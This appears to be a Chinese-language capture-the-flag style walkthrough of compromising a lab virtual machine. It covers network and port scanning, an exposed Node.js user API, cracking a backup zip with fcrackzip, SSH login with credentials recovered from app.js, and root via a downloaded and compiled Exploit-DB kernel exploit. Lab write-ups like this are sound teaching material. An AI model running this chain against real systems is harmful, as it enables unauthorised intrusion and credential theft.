前言:靶机导入,设置网卡NAT模式
1、主机发现
netdiscover -i eth0 -r 192.168.1.0/24
2、端口扫描
masscan 192.168.1.129 -p0-65535 --rate=10000
nmap -sS 192.168.1.129 注:sS
S是SYN扫描,半连接扫描,nmap只发送SYN报文,通过服务器是否响应SYN+ACK来判断对应端口是否开放
3、端口服务识别
nmap -sV -T4 192.168.1.129 -p 22,3000
发现 3000这端口是http服务,尝试访问
4、漏洞发现
访问网站,F12打开网站源代码,逐步排查
发现敏感目录,进行访问查看 192.168.1.129:3000/api/users/latest
发现一些敏感信息,用户的参数。
在访问上一级目录,发现一个新的用户信息。192.168.1.129:3000/api/users
解密该账号的密码:manchester
访问该网站后台,使用这个账号密码登录。下载该网站的备份文件。
打开发现,经过base64加密,上传至kail 解密:myplace.backup| base64 -d >myplace
解密后的文件,发现是zip格式文件,解压需要密码,使用工具:fcrackzip 对这个文件进行爆破。
Fcrackzip -u -b -ca -l 9 myplace
爆破获得密码是:magicword
使用unzip对文件进行解压:unzip myplace
进入解压后生成一个var目录,进入该目录文件里面 /var/www/myplace
cat
查看app.js文件,发现账户mark和5AYRft73VtFpc84k密码
使用这个账户远程ssh登录。
登录成功
查看当前系统信息和用户信息,mark用户无sudo权限。当前系统是Linux Ubuntu 16版本
使用kail自带的exp漏洞库尝试提权,搜索是否存在Ubuntu 16的漏洞利用。
在mark用户下查看是否可以使用gcc权限。若不行则在kail编译后再上传,若可以则直接上传到靶机。
查看到mark用户可以使用gcc
选择一个poc,复制到web目录下,然后打开web服务,使用mark用户去下载。然后用gcc命令编译下载的.c后缀的poc文件,然后执行。
cp /usr/share/exploitdb/exploits/linux/local/44298.c /var/www/html
Service apache2 start 打开web服务
Mark:
Cd /tmp
Curl ./44298.c 192.168.1.128/44298.c
Gcc 44298.c 这个名执行后,会生成一个可执行文件,执行这个文件即可提权
OK,拿下~~
4.1、Node.js
Node.js;’
默认端口是3000。
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
4.2、fcrackzip
fcrackzip是一款专门用于破解zip类型压缩文件密码的工具,其具有小巧方便、速度快的特点。
-b 指定为暴力破解
-D 指定字典来暴力破解
-c 指定字符集,字符集 格式只能为 -c ‘aA1!:’
a 表示小写字母[a-z]
A 表示大写字母[A-Z]
1 表示阿拉伯数字[0-9]
-
! 感叹号表示特殊字符[!😒%&/()=?{[]}+*~#]
- 表示包含冒号之后的字符(不能为二进制的空字符),例如 a1: % 表示 字符集包含小写字母、数字、 字符和%百分号
-l 指定密码长度,如:-l 1-5
-u 只显示破解出来的密码,其他错误的密码不显示出